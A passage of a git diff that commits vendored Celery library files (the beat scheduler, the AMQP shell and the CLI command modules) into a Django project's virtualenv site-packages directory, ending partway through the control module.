stored_tz is not None and stored_tz != tz: + warning('Reset: Timezone changed from %r to %r', stored_tz, tz) + self._store.clear() # Timezone changed, reset db! + utc = self.app.conf.enable_utc + stored_utc = self._store.get('utc_enabled') + if stored_utc is not None and stored_utc != utc: + choices = {True: 'enabled', False: 'disabled'} + warning('Reset: UTC changed from %s to %s', + choices[stored_utc], choices[utc]) + self._store.clear() # UTC setting changed, reset db! + entries = self._store.setdefault('entries', {}) + self.merge_inplace(self.app.conf.beat_schedule) + self.install_default_entries(self.schedule) + self._store.update({ + '__version__': __version__, + 'tz': tz, + 'utc_enabled': utc, + }) + self.sync() + debug('Current schedule:\n' + '\n'.join( + repr(entry) for entry in entries.values())) + + def _create_schedule(self): + for _ in (1, 2): + try: + self._store['entries'] + except KeyError: + # new schedule db + try: + self._store['entries'] = {} + except KeyError as exc: + self._store = self._destroy_open_corrupted_schedule(exc) + continue + else: + if '__version__' not in self._store: + warning('DB Reset: Account for new __version__ field') + self._store.clear() # remove schedule at 2.2.2 upgrade. + elif 'tz' not in self._store: + warning('DB Reset: Account for new tz field') + self._store.clear() # remove schedule at 3.0.8 upgrade + elif 'utc_enabled' not in self._store: + warning('DB Reset: Account for new utc_enabled field') + self._store.clear() # remove schedule at 3.0.9 upgrade + break + + def get_schedule(self): + return self._store['entries'] + + def set_schedule(self, schedule): + self._store['entries'] = schedule + schedule = property(get_schedule, set_schedule) + + def sync(self): + if self._store is not None: + self._store.sync() + + def close(self): + self.sync() + self._store.close() + + @property + def info(self): + return f' . db -> {self.schedule_filename}' + + +class Service: + """Celery periodic task service.""" + + scheduler_cls = PersistentScheduler + + def __init__(self, app, max_interval=None, schedule_filename=None, + scheduler_cls=None): + self.app = app + self.max_interval = (max_interval or + app.conf.beat_max_loop_interval) + self.scheduler_cls = scheduler_cls or self.scheduler_cls + self.schedule_filename = ( + schedule_filename or app.conf.beat_schedule_filename) + + self._is_shutdown = Event() + self._is_stopped = Event() + + def __reduce__(self): + return self.__class__, (self.max_interval, self.schedule_filename, + self.scheduler_cls, self.app) + + def start(self, embedded_process=False): + info('beat: Starting...') + debug('beat: Ticking with max interval->%s', + humanize_seconds(self.scheduler.max_interval)) + + signals.beat_init.send(sender=self) + if embedded_process: + signals.beat_embedded_init.send(sender=self) + platforms.set_process_title('celery beat') + + try: + while not self._is_shutdown.is_set(): + interval = self.scheduler.tick() + if interval and interval > 0.0: + debug('beat: Waking up %s.', + humanize_seconds(interval, prefix='in ')) + time.sleep(interval) + if self.scheduler.should_sync(): + self.scheduler._do_sync() + except (KeyboardInterrupt, SystemExit): + self._is_shutdown.set() + finally: + self.sync() + + def sync(self): + self.scheduler.close() + self._is_stopped.set() + + def stop(self, wait=False): + info('beat: Shutting down...') + self._is_shutdown.set() + wait and self._is_stopped.wait() # block until shutdown done. + + def get_scheduler(self, lazy=False, + extension_namespace='celery.beat_schedulers'): + filename = self.schedule_filename + aliases = dict(load_extension_class_names(extension_namespace)) + return symbol_by_name(self.scheduler_cls, aliases=aliases)( + app=self.app, + schedule_filename=filename, + max_interval=self.max_interval, + lazy=lazy, + ) + + @cached_property + def scheduler(self): + return self.get_scheduler() + + +class _Threaded(Thread): + """Embedded task scheduler using threading.""" + + def __init__(self, app, **kwargs): + super().__init__() + self.app = app + self.service = Service(app, **kwargs) + self.daemon = True + self.name = 'Beat' + + def run(self): + self.app.set_current() + self.service.start() + + def stop(self): + self.service.stop(wait=True) + + +try: + ensure_multiprocessing() +except NotImplementedError: # pragma: no cover + _Process = None +else: + class _Process(Process): + + def __init__(self, app, **kwargs): + super().__init__() + self.app = app + self.service = Service(app, **kwargs) + self.name = 'Beat' + + def run(self): + reset_signals(full=False) + platforms.close_open_fds([ + sys.__stdin__, sys.__stdout__, sys.__stderr__, + ] + list(iter_open_logger_fds())) + self.app.set_default() + self.app.set_current() + self.service.start(embedded_process=True) + + def stop(self): + self.service.stop() + self.terminate() + + +def EmbeddedService(app, max_interval=None, **kwargs): + """Return embedded clock service. + + Arguments: + thread (bool): Run threaded instead of as a separate process. + Uses :mod:`multiprocessing` by default, if available. + """ + if kwargs.pop('thread', False) or _Process is None: + # Need short max interval to be able to stop thread + # in reasonable time. + return _Threaded(app, max_interval=1, **kwargs) + return _Process(app, max_interval=max_interval, **kwargs) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/bin/__init__.py b/django_lottopy/lib/python3.10/site-packages/celery/bin/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/django_lottopy/lib/python3.10/site-packages/celery/bin/amqp.py b/django_lottopy/lib/python3.10/site-packages/celery/bin/amqp.py new file mode 100644 index 00000000..d94c9160 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/bin/amqp.py @@ -0,0 +1,312 @@ +"""AMQP 0.9.1 REPL.""" + +import pprint + +import click +from amqp import Connection, Message +from click_repl import register_repl + +__all__ = ('amqp',) + +from celery.bin.base import handle_preload_options + + +def dump_message(message): + if message is None: + return 'No messages in queue. basic.publish something.' + return {'body': message.body, + 'properties': message.properties, + 'delivery_info': message.delivery_info} + + +class AMQPContext: + def __init__(self, cli_context): + self.cli_context = cli_context + self.connection = self.cli_context.app.connection() + self.channel = None + self.reconnect() + + @property + def app(self): + return self.cli_context.app + + def respond(self, retval): + if isinstance(retval, str): + self.cli_context.echo(retval) + else: + self.cli_context.echo(pprint.pformat(retval)) + + def echo_error(self, exception): + self.cli_context.error(f'{self.cli_context.ERROR}: {exception}') + + def echo_ok(self): + self.cli_context.echo(self.cli_context.OK) + + def reconnect(self): + if self.connection: + self.connection.close() + else: + self.connection = self.cli_context.app.connection() + + self.cli_context.echo(f'-> connecting to {self.connection.as_uri()}.') + try: + self.connection.connect() + except (ConnectionRefusedError, ConnectionResetError) as e: + self.echo_error(e) + else: + self.cli_context.secho('-> connected.', fg='green', bold=True) + self.channel = self.connection.default_channel + + +@click.group(invoke_without_command=True) +@click.pass_context +@handle_preload_options +def amqp(ctx): + """AMQP Administration Shell. + + Also works for non-AMQP transports (but not ones that + store declarations in memory). + """ + if not isinstance(ctx.obj, AMQPContext): + ctx.obj = AMQPContext(ctx.obj) + + +@amqp.command(name='exchange.declare') +@click.argument('exchange', + type=str) +@click.argument('type', + type=str) +@click.argument('passive', + type=bool, + default=False) +@click.argument('durable', + type=bool, + default=False) +@click.argument('auto_delete', + type=bool, + default=False) +@click.pass_obj +def exchange_declare(amqp_context, exchange, type, passive, durable, + auto_delete): + if amqp_context.channel is None: + amqp_context.echo_error('Not connected to broker. Please retry...') + amqp_context.reconnect() + else: + try: + amqp_context.channel.exchange_declare(exchange=exchange, + type=type, + passive=passive, + durable=durable, + auto_delete=auto_delete) + except Exception as e: + amqp_context.echo_error(e) + amqp_context.reconnect() + else: + amqp_context.echo_ok() + + +@amqp.command(name='exchange.delete') +@click.argument('exchange', + type=str) +@click.argument('if_unused', + type=bool) +@click.pass_obj +def exchange_delete(amqp_context, exchange, if_unused): + if amqp_context.channel is None: + amqp_context.echo_error('Not connected to broker. Please retry...') + amqp_context.reconnect() + else: + try: + amqp_context.channel.exchange_delete(exchange=exchange, + if_unused=if_unused) + except Exception as e: + amqp_context.echo_error(e) + amqp_context.reconnect() + else: + amqp_context.echo_ok() + + +@amqp.command(name='queue.bind') +@click.argument('queue', + type=str) +@click.argument('exchange', + type=str) +@click.argument('routing_key', + type=str) +@click.pass_obj +def queue_bind(amqp_context, queue, exchange, routing_key): + if amqp_context.channel is None: + amqp_context.echo_error('Not connected to broker. Please retry...') + amqp_context.reconnect() + else: + try: + amqp_context.channel.queue_bind(queue=queue, + exchange=exchange, + routing_key=routing_key) + except Exception as e: + amqp_context.echo_error(e) + amqp_context.reconnect() + else: + amqp_context.echo_ok() + + +@amqp.command(name='queue.declare') +@click.argument('queue', + type=str) +@click.argument('passive', + type=bool, + default=False) +@click.argument('durable', + type=bool, + default=False) +@click.argument('auto_delete', + type=bool, + default=False) +@click.pass_obj +def queue_declare(amqp_context, queue, passive, durable, auto_delete): + if amqp_context.channel is None: + amqp_context.echo_error('Not connected to broker. Please retry...') + amqp_context.reconnect() + else: + try: + retval = amqp_context.channel.queue_declare(queue=queue, + passive=passive, + durable=durable, + auto_delete=auto_delete) + except Exception as e: + amqp_context.echo_error(e) + amqp_context.reconnect() + else: + amqp_context.cli_context.secho( + 'queue:{} messages:{} consumers:{}'.format(*retval), + fg='cyan', bold=True) + amqp_context.echo_ok() + + +@amqp.command(name='queue.delete') +@click.argument('queue', + type=str) +@click.argument('if_unused', + type=bool, + default=False) +@click.argument('if_empty', + type=bool, + default=False) +@click.pass_obj +def queue_delete(amqp_context, queue, if_unused, if_empty): + if amqp_context.channel is None: + amqp_context.echo_error('Not connected to broker. Please retry...') + amqp_context.reconnect() + else: + try: + retval = amqp_context.channel.queue_delete(queue=queue, + if_unused=if_unused, + if_empty=if_empty) + except Exception as e: + amqp_context.echo_error(e) + amqp_context.reconnect() + else: + amqp_context.cli_context.secho( + f'{retval} messages deleted.', + fg='cyan', bold=True) + amqp_context.echo_ok() + + +@amqp.command(name='queue.purge') +@click.argument('queue', + type=str) +@click.pass_obj +def queue_purge(amqp_context, queue): + if amqp_context.channel is None: + amqp_context.echo_error('Not connected to broker. Please retry...') + amqp_context.reconnect() + else: + try: + retval = amqp_context.channel.queue_purge(queue=queue) + except Exception as e: + amqp_context.echo_error(e) + amqp_context.reconnect() + else: + amqp_context.cli_context.secho( + f'{retval} messages deleted.', + fg='cyan', bold=True) + amqp_context.echo_ok() + + +@amqp.command(name='basic.get') +@click.argument('queue', + type=str) +@click.argument('no_ack', + type=bool, + default=False) +@click.pass_obj +def basic_get(amqp_context, queue, no_ack): + if amqp_context.channel is None: + amqp_context.echo_error('Not connected to broker. Please retry...') + amqp_context.reconnect() + else: + try: + message = amqp_context.channel.basic_get(queue, no_ack=no_ack) + except Exception as e: + amqp_context.echo_error(e) + amqp_context.reconnect() + else: + amqp_context.respond(dump_message(message)) + amqp_context.echo_ok() + + +@amqp.command(name='basic.publish') +@click.argument('msg', + type=str) +@click.argument('exchange', + type=str) +@click.argument('routing_key', + type=str) +@click.argument('mandatory', + type=bool, + default=False) +@click.argument('immediate', + type=bool, + default=False) +@click.pass_obj +def basic_publish(amqp_context, msg, exchange, routing_key, mandatory, + immediate): + if amqp_context.channel is None: + amqp_context.echo_error('Not connected to broker. Please retry...') + amqp_context.reconnect() + else: + # XXX Hack to fix Issue #2013 + if isinstance(amqp_context.connection.connection, Connection): + msg = Message(msg) + try: + amqp_context.channel.basic_publish(msg, + exchange=exchange, + routing_key=routing_key, + mandatory=mandatory, + immediate=immediate) + except Exception as e: + amqp_context.echo_error(e) + amqp_context.reconnect() + else: + amqp_context.echo_ok() + + +@amqp.command(name='basic.ack') +@click.argument('delivery_tag', + type=int) +@click.pass_obj +def basic_ack(amqp_context, delivery_tag): + if amqp_context.channel is None: + amqp_context.echo_error('Not connected to broker. Please retry...') + amqp_context.reconnect() + else: + try: + amqp_context.channel.basic_ack(delivery_tag) + except Exception as e: + amqp_context.echo_error(e) + amqp_context.reconnect() + else: + amqp_context.echo_ok() + + +repl = register_repl(amqp) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/bin/base.py b/django_lottopy/lib/python3.10/site-packages/celery/bin/base.py new file mode 100644 index 00000000..30358dd8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/bin/base.py @@ -0,0 +1,287 @@ +"""Click customizations for Celery.""" +import json +import numbers +from collections import OrderedDict +from functools import update_wrapper +from pprint import pformat + +import click +from click import ParamType +from kombu.utils.objects import cached_property + +from celery._state import get_current_app +from celery.signals import user_preload_options +from celery.utils import text +from celery.utils.log import mlevel +from celery.utils.time import maybe_iso8601 + +try: + from pygments import highlight + from pygments.formatters import Terminal256Formatter + from pygments.lexers import PythonLexer +except ImportError: + def highlight(s, *args, **kwargs): + """Place holder function in case pygments is missing.""" + return s + LEXER = None + FORMATTER = None +else: + LEXER = PythonLexer() + FORMATTER = Terminal256Formatter() + + +class CLIContext: + """Context Object for the CLI.""" + + def __init__(self, app, no_color, workdir, quiet=False): + """Initialize the CLI context.""" + self.app = app or get_current_app() + self.no_color = no_color + self.quiet = quiet + self.workdir = workdir + + @cached_property + def OK(self): + return self.style("OK", fg="green", bold=True) + + @cached_property + def ERROR(self): + return self.style("ERROR", fg="red", bold=True) + + def style(self, message=None, **kwargs): + if self.no_color: + return message + else: + return click.style(message, **kwargs) + + def secho(self, message=None, **kwargs): + if self.no_color: + kwargs['color'] = False + click.echo(message, **kwargs) + else: + click.secho(message, **kwargs) + + def echo(self, message=None, **kwargs): + if self.no_color: + kwargs['color'] = False + click.echo(message, **kwargs) + else: + click.echo(message, **kwargs) + + def error(self, message=None, **kwargs): + kwargs['err'] = True + if self.no_color: + kwargs['color'] = False + click.echo(message, **kwargs) + else: + click.secho(message, **kwargs) + + def pretty(self, n): + if isinstance(n, list): + return self.OK, self.pretty_list(n) + if isinstance(n, dict): + if 'ok' in n or 'error' in n: + return self.pretty_dict_ok_error(n) + else: + s = json.dumps(n, sort_keys=True, indent=4) + if not self.no_color: + s = highlight(s, LEXER, FORMATTER) + return self.OK, s + if isinstance(n, str): + return self.OK, n + return self.OK, pformat(n) + + def pretty_list(self, n): + if not n: + return '- empty -' + return '\n'.join( + f'{self.style("*", fg="white")} {item}' for item in n + ) + + def pretty_dict_ok_error(self, n): + try: + return (self.OK, + text.indent(self.pretty(n['ok'])[1], 4)) + except KeyError: + pass + return (self.ERROR, + text.indent(self.pretty(n['error'])[1], 4)) + + def say_chat(self, direction, title, body='', show_body=False): + if direction == '<-' and self.quiet: + return + dirstr = not self.quiet and f'{self.style(direction, fg="white", bold=True)} ' or '' + self.echo(f'{dirstr} {title}') + if body and show_body: + self.echo(body) + + +def handle_preload_options(f): + """Extract preload options and return a wrapped callable.""" + def caller(ctx, *args, **kwargs): + app = ctx.obj.app + + preload_options = [o.name for o in app.user_options.get('preload', [])] + + if preload_options: + user_options = { + preload_option: kwargs[preload_option] + for preload_option in preload_options + } + + user_preload_options.send(sender=f, app=app, options=user_options) + + return f(ctx, *args, **kwargs) + + return update_wrapper(caller, f) + + +class CeleryOption(click.Option): + """Customized option for Celery.""" + + def get_default(self, ctx, *args, **kwargs): + if self.default_value_from_context: + self.default = ctx.obj[self.default_value_from_context] + return super().get_default(ctx, *args, **kwargs) + + def __init__(self, *args, **kwargs): + """Initialize a Celery option.""" + self.help_group = kwargs.pop('help_group', None) + self.default_value_from_context = kwargs.pop('default_value_from_context', None) + super().__init__(*args, **kwargs) + + +class CeleryCommand(click.Command): + """Customized command for Celery.""" + + def format_options(self, ctx, formatter): + """Write all the options into the formatter if they exist.""" + opts = OrderedDict() + for param in self.get_params(ctx): + rv = param.get_help_record(ctx) + if rv is not None: + if hasattr(param, 'help_group') and param.help_group: + opts.setdefault(str(param.help_group), []).append(rv) + else: + opts.setdefault('Options', []).append(rv) + + for name, opts_group in opts.items(): + with formatter.section(name): + formatter.write_dl(opts_group) + + +class CeleryDaemonCommand(CeleryCommand): + """Daemon commands.""" + + def __init__(self, *args, **kwargs): + """Initialize a Celery command with common daemon options.""" + super().__init__(*args, **kwargs) + self.params.append(CeleryOption(('-f', '--logfile'), help_group="Daemonization Options")) + self.params.append(CeleryOption(('--pidfile',), help_group="Daemonization Options")) + self.params.append(CeleryOption(('--uid',), help_group="Daemonization Options")) + self.params.append(CeleryOption(('--uid',), help_group="Daemonization Options")) + self.params.append(CeleryOption(('--gid',), help_group="Daemonization Options")) + self.params.append(CeleryOption(('--umask',), help_group="Daemonization Options")) + self.params.append(CeleryOption(('--executable',), help_group="Daemonization Options")) + + +class CommaSeparatedList(ParamType): + """Comma separated list argument.""" + + name = "comma separated list" + + def convert(self, value, param, ctx): + return text.str_to_list(value) + + +class JsonArray(ParamType): + """JSON formatted array argument.""" + + name = "json array" + + def convert(self, value, param, ctx): + if isinstance(value, list): + return value + + try: + v = json.loads(value) + except ValueError as e: + self.fail(str(e)) + + if not isinstance(v, list): + self.fail(f"{value} was not an array") + + return v + + +class JsonObject(ParamType): + """JSON formatted object argument.""" + + name = "json object" + + def convert(self, value, param, ctx): + if isinstance(value, dict): + return value + + try: + v = json.loads(value) + except ValueError as e: + self.fail(str(e)) + + if not isinstance(v, dict): + self.fail(f"{value} was not an object") + + return v + + +class ISO8601DateTime(ParamType): + """ISO 8601 Date Time argument.""" + + name = "iso-86091" + + def convert(self, value, param, ctx): + try: + return maybe_iso8601(value) + except (TypeError, ValueError) as e: + self.fail(e) + + +class ISO8601DateTimeOrFloat(ParamType): + """ISO 8601 Date Time or float argument.""" + + name = "iso-86091 or float" + + def convert(self, value, param, ctx): + try: + return float(value) + except (TypeError, ValueError): + pass + + try: + return maybe_iso8601(value) + except (TypeError, ValueError) as e: + self.fail(e) + + +class LogLevel(click.Choice): + """Log level option.""" + + def __init__(self): + """Initialize the log level option with the relevant choices.""" + super().__init__(('DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL', 'FATAL')) + + def convert(self, value, param, ctx): + if isinstance(value, numbers.Integral): + return value + + value = value.upper() + value = super().convert(value, param, ctx) + return mlevel(value) + + +JSON_ARRAY = JsonArray() +JSON_OBJECT = JsonObject() +ISO8601 = ISO8601DateTime() +ISO8601_OR_FLOAT = ISO8601DateTimeOrFloat() +LOG_LEVEL = LogLevel() +COMMA_SEPARATED_LIST = CommaSeparatedList() diff --git a/django_lottopy/lib/python3.10/site-packages/celery/bin/beat.py b/django_lottopy/lib/python3.10/site-packages/celery/bin/beat.py new file mode 100644 index 00000000..145b44e9 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/bin/beat.py @@ -0,0 +1,72 @@ +"""The :program:`celery beat` command.""" +from functools import partial + +import click + +from celery.bin.base import (LOG_LEVEL, CeleryDaemonCommand, CeleryOption, + handle_preload_options) +from celery.platforms import detached, maybe_drop_privileges + + +@click.command(cls=CeleryDaemonCommand, context_settings={ + 'allow_extra_args': True +}) +@click.option('--detach', + cls=CeleryOption, + is_flag=True, + default=False, + help_group="Beat Options", + help="Detach and run in the background as a daemon.") +@click.option('-s', + '--schedule', + cls=CeleryOption, + callback=lambda ctx, _, value: value or ctx.obj.app.conf.beat_schedule_filename, + help_group="Beat Options", + help="Path to the schedule database." + " Defaults to `celerybeat-schedule`." + "The extension '.db' may be appended to the filename.") +@click.option('-S', + '--scheduler', + cls=CeleryOption, + callback=lambda ctx, _, value: value or ctx.obj.app.conf.beat_scheduler, + help_group="Beat Options", + help="Scheduler class to use.") +@click.option('--max-interval', + cls=CeleryOption, + type=int, + help_group="Beat Options", + help="Max seconds to sleep between schedule iterations.") +@click.option('-l', + '--loglevel', + default='WARNING', + cls=CeleryOption, + type=LOG_LEVEL, + help_group="Beat Options", + help="Logging level.") +@click.pass_context +@handle_preload_options +def beat(ctx, detach=False, logfile=None, pidfile=None, uid=None, + gid=None, umask=None, workdir=None, **kwargs): + """Start the beat periodic task scheduler.""" + app = ctx.obj.app + + if ctx.args: + try: + app.config_from_cmdline(ctx.args) + except (KeyError, ValueError) as e: + # TODO: Improve the error messages + raise click.UsageError("Unable to parse extra configuration" + " from command line.\n" + f"Reason: {e}", ctx=ctx) + + if not detach: + maybe_drop_privileges(uid=uid, gid=gid) + + beat = partial(app.Beat, + logfile=logfile, pidfile=pidfile, **kwargs) + + if detach: + with detached(logfile, pidfile, uid, gid, umask, workdir): + return beat().run() + else: + return beat().run() diff --git a/django_lottopy/lib/python3.10/site-packages/celery/bin/call.py b/django_lottopy/lib/python3.10/site-packages/celery/bin/call.py new file mode 100644 index 00000000..a04651bd --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/bin/call.py @@ -0,0 +1,72 @@ +"""The ``celery call`` program used to send tasks from the command-line.""" +import click + +from celery.bin.base import (ISO8601, ISO8601_OR_FLOAT, JSON_ARRAY, + JSON_OBJECT, CeleryCommand, CeleryOption, + handle_preload_options) + + +@click.command(cls=CeleryCommand) +@click.argument('name') +@click.option('-a', + '--args', + cls=CeleryOption, + type=JSON_ARRAY, + default='[]', + help_group="Calling Options", + help="Positional arguments.") +@click.option('-k', + '--kwargs', + cls=CeleryOption, + type=JSON_OBJECT, + default='{}', + help_group="Calling Options", + help="Keyword arguments.") +@click.option('--eta', + cls=CeleryOption, + type=ISO8601, + help_group="Calling Options", + help="scheduled time.") +@click.option('--countdown', + cls=CeleryOption, + type=float, + help_group="Calling Options", + help="eta in seconds from now.") +@click.option('--expires', + cls=CeleryOption, + type=ISO8601_OR_FLOAT, + help_group="Calling Options", + help="expiry time.") +@click.option('--serializer', + cls=CeleryOption, + default='json', + help_group="Calling Options", + help="task serializer.") +@click.option('--queue', + cls=CeleryOption, + help_group="Routing Options", + help="custom queue name.") +@click.option('--exchange', + cls=CeleryOption, + help_group="Routing Options", + help="custom exchange name.") +@click.option('--routing-key', + cls=CeleryOption, + help_group="Routing Options", + help="custom routing key.") +@click.pass_context +@handle_preload_options +def call(ctx, name, args, kwargs, eta, countdown, expires, serializer, queue, exchange, routing_key): + """Call a task by name.""" + task_id = ctx.obj.app.send_task( + name, + args=args, kwargs=kwargs, + countdown=countdown, + serializer=serializer, + queue=queue, + exchange=exchange, + routing_key=routing_key, + eta=eta, + expires=expires + ).id + ctx.obj.echo(task_id) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/bin/celery.py b/django_lottopy/lib/python3.10/site-packages/celery/bin/celery.py new file mode 100644 index 00000000..2aee6414 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/bin/celery.py @@ -0,0 +1,217 @@ +"""Celery Command Line Interface.""" +import os +import pathlib +import traceback + +try: + from importlib.metadata import entry_points +except ImportError: + from importlib_metadata import entry_points + +import click +import click.exceptions +from click.types import ParamType +from click_didyoumean import DYMGroup +from click_plugins import with_plugins + +from celery import VERSION_BANNER +from celery.app.utils import find_app +from celery.bin.amqp import amqp +from celery.bin.base import CeleryCommand, CeleryOption, CLIContext +from celery.bin.beat import beat +from celery.bin.call import call +from celery.bin.control import control, inspect, status +from celery.bin.events import events +from celery.bin.graph import graph +from celery.bin.list import list_ +from celery.bin.logtool import logtool +from celery.bin.migrate import migrate +from celery.bin.multi import multi +from celery.bin.purge import purge +from celery.bin.result import result +from celery.bin.shell import shell +from celery.bin.upgrade import upgrade +from celery.bin.worker import worker + +UNABLE_TO_LOAD_APP_MODULE_NOT_FOUND = click.style(""" +Unable to load celery application. +The module {0} was not found.""", fg='red') + +UNABLE_TO_LOAD_APP_ERROR_OCCURRED = click.style(""" +Unable to load celery application. +While trying to load the module {0} the following error occurred: +{1}""", fg='red') + +UNABLE_TO_LOAD_APP_APP_MISSING = click.style(""" +Unable to load celery application. +{0}""") + + +class App(ParamType): + """Application option.""" + + name = "application" + + def convert(self, value, param, ctx): + try: + return find_app(value) + except ModuleNotFoundError as e: + if e.name != value: + exc = traceback.format_exc() + self.fail( + UNABLE_TO_LOAD_APP_ERROR_OCCURRED.format(value, exc) + ) + self.fail(UNABLE_TO_LOAD_APP_MODULE_NOT_FOUND.format(e.name)) + except AttributeError as e: + attribute_name = e.args[0].capitalize() + self.fail(UNABLE_TO_LOAD_APP_APP_MISSING.format(attribute_name)) + except Exception: + exc = traceback.format_exc() + self.fail( + UNABLE_TO_LOAD_APP_ERROR_OCCURRED.format(value, exc) + ) + + +APP = App() + + +@with_plugins(entry_points().get('celery.commands', [])) +@click.group(cls=DYMGroup, invoke_without_command=True) +@click.option('-A', + '--app', + envvar='APP', + cls=CeleryOption, + type=APP, + help_group="Global Options") +@click.option('-b', + '--broker', + envvar='BROKER_URL', + cls=CeleryOption, + help_group="Global Options") +@click.option('--result-backend', + envvar='RESULT_BACKEND', + cls=CeleryOption, + help_group="Global Options") +@click.option('--loader', + envvar='LOADER', + cls=CeleryOption, + help_group="Global Options") +@click.option('--config', + envvar='CONFIG_MODULE', + cls=CeleryOption, + help_group="Global Options") +@click.option('--workdir', + cls=CeleryOption, + type=pathlib.Path, + callback=lambda _, __, wd: os.chdir(wd) if wd else None, + is_eager=True, + help_group="Global Options") +@click.option('-C', + '--no-color', + envvar='NO_COLOR', + is_flag=True, + cls=CeleryOption, + help_group="Global Options") +@click.option('-q', + '--quiet', + is_flag=True, + cls=CeleryOption, + help_group="Global Options") +@click.option('--version', + cls=CeleryOption, + is_flag=True, + help_group="Global Options") +@click.pass_context +def celery(ctx, app, broker, result_backend, loader, config, workdir, + no_color, quiet, version): + """Celery command entrypoint.""" + if version: + click.echo(VERSION_BANNER) + ctx.exit() + elif ctx.invoked_subcommand is None: + click.echo(ctx.get_help()) + ctx.exit() + + if loader: + # Default app takes loader from this env (Issue #1066). + os.environ['CELERY_LOADER'] = loader + if broker: + os.environ['CELERY_BROKER_URL'] = broker + if result_backend: + os.environ['CELERY_RESULT_BACKEND'] = result_backend + if config: + os.environ['CELERY_CONFIG_MODULE'] = config + ctx.obj = CLIContext(app=app, no_color=no_color, workdir=workdir, + quiet=quiet) + + # User options + worker.params.extend(ctx.obj.app.user_options.get('worker', [])) + beat.params.extend(ctx.obj.app.user_options.get('beat', [])) + events.params.extend(ctx.obj.app.user_options.get('events', [])) + + for command in celery.commands.values(): + command.params.extend(ctx.obj.app.user_options.get('preload', [])) + + +@celery.command(cls=CeleryCommand) +@click.pass_context +def report(ctx): + """Shows information useful to include in bug-reports.""" + app = ctx.obj.app + app.loader.import_default_modules() + ctx.obj.echo(app.bugreport()) + + +celery.add_command(purge) +celery.add_command(call) +celery.add_command(beat) +celery.add_command(list_) +celery.add_command(result) +celery.add_command(migrate) +celery.add_command(status) +celery.add_command(worker) +celery.add_command(events) +celery.add_command(inspect) +celery.add_command(control) +celery.add_command(graph) +celery.add_command(upgrade) +celery.add_command(logtool) +celery.add_command(amqp) +celery.add_command(shell) +celery.add_command(multi) + +# Monkey-patch click to display a custom error +# when -A or --app are used as sub-command options instead of as options +# of the global command. + +previous_show_implementation = click.exceptions.NoSuchOption.show + +WRONG_APP_OPTION_USAGE_MESSAGE = """You are using `{option_name}` as an option of the {info_name} sub-command: +celery {info_name} {option_name} celeryapp <...> + +The support for this usage was removed in Celery 5.0. Instead you should use `{option_name}` as a global option: +celery {option_name} celeryapp {info_name} <...>""" + + +def _show(self, file=None): + if self.option_name in ('-A', '--app'): + self.ctx.obj.error( + WRONG_APP_OPTION_USAGE_MESSAGE.format( + option_name=self.option_name, + info_name=self.ctx.info_name), + fg='red' + ) + previous_show_implementation(self, file=file) + + +click.exceptions.NoSuchOption.show = _show + + +def main() -> int: + """Start celery umbrella command. + + This function is the main entrypoint for the CLI. + + :return: The exit code of the CLI. + """ + return celery(auto_envvar_prefix="CELERY") diff --git a/django_lottopy/lib/python3.10/site-packages/celery/bin/control.py b/django_lottopy/lib/python3.10/site-packages/celery/bin/control.py new file mode 100644 index 00000000..fbd3730c --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/bin/control.py @@ -0,0 +1,204 @@ +"""The ``celery control``, ``. inspect`` and ``. status`` programs.""" +from functools import partial + +import click +from kombu.utils.json import dumps + +from celery.bin.base import (COMMA_SEPARATED_LIST, CeleryCommand, + CeleryOption, handle_preload_options) +from celery.exceptions import CeleryCommandException +from celery.platforms import EX_UNAVAILABLE +from celery.utils import text +from celery.worker.control import Panel + + +def _say_remote_command_reply(ctx, replies, show_reply=False): + node = next(iter(replies)) # <-- take first. + reply = replies[node] + node = ctx.obj.style(f'{node}: ', fg='cyan', bold=True) + status, preply = ctx.obj.pretty(reply) + ctx.obj.say_chat('->', f'{node}{status}', + text.indent(preply, 4) if show_reply else '', + show_body=show_reply) + + +def _consume_arguments(meta, method, args): + i = 0 + try: + for i, arg in enumerate(args): + try: + name, typ = meta.args[i] + except IndexError: + if meta.variadic: + break + raise click.UsageError( + 'Command {!r} takes arguments: {}'.format( + method, meta.signature)) + else: + yield name, typ(arg) if typ is not None else arg + finally: + args[:] = args[i:] + + +def _compile_arguments(action, args): + meta = Panel.meta[action] + arguments = {} + if meta.args: + arguments.update({ + k: v for k, v in _consume_arguments(meta, action, args) + }) + if meta.variadic: + arguments.update({meta.variadic: args}) + return arguments + + +@click.command(cls=CeleryCommand) +@click.option('-t', + '--timeout', + cls=CeleryOption, + type=float, + default=1.0, + help_group='Remote Control Options', + help='Timeout in seconds waiting for reply.') +@click.option('-d', + '--destination', + cls=CeleryOption, + type=COMMA_SEPARATED_LIST, + help_group='Remote Control Options', + help='Comma separated list of destination node names.') +@click.option('-j', + '--json', + cls=CeleryOption, + is_flag=True, + help_group='Remote Control Options', + help='Use json as output format.') +@click.pass_context +@handle_preload_options +def status(ctx, timeout, destination, json, **kwargs): + """Show list of workers that are online.""" + callback = None if json else partial(_say_remote_command_reply, ctx) + replies = ctx.obj.app.control.inspect(timeout=timeout, + destination=destination, + callback=callback).ping() + + if not replies: + raise CeleryCommandException( + message='No nodes replied within time constraint', + exit_code=EX_UNAVAILABLE + ) + + if json: + ctx.obj.echo(dumps(replies)) + nodecount = len(replies) + if not kwargs.get('quiet', False): + ctx.obj.echo('\n{} {} online.'.format( + nodecount, text.pluralize(nodecount, 'node'))) + + +@click.command(cls=CeleryCommand, + context_settings={'allow_extra_args': True}) +@click.argument("action", type=click.Choice([ + name for name, info in Panel.meta.items() + if info.type == 'inspect' and info.visible +])) +@click.option('-t', + '--timeout', + cls=CeleryOption, + type=float, + default=1.0, + help_group='Remote Control Options', + help='Timeout in seconds waiting for reply.') +@click.option('-d', + '--destination', + cls=CeleryOption, + type=COMMA_SEPARATED_LIST, + help_group='Remote Control Options', + help='Comma separated list of destination node names.') +@click.option('-j', + '--json', + cls=CeleryOption, + is_flag=True, + help_group='Remote Control Options', + help='Use json as output format.') +@click.pass_context 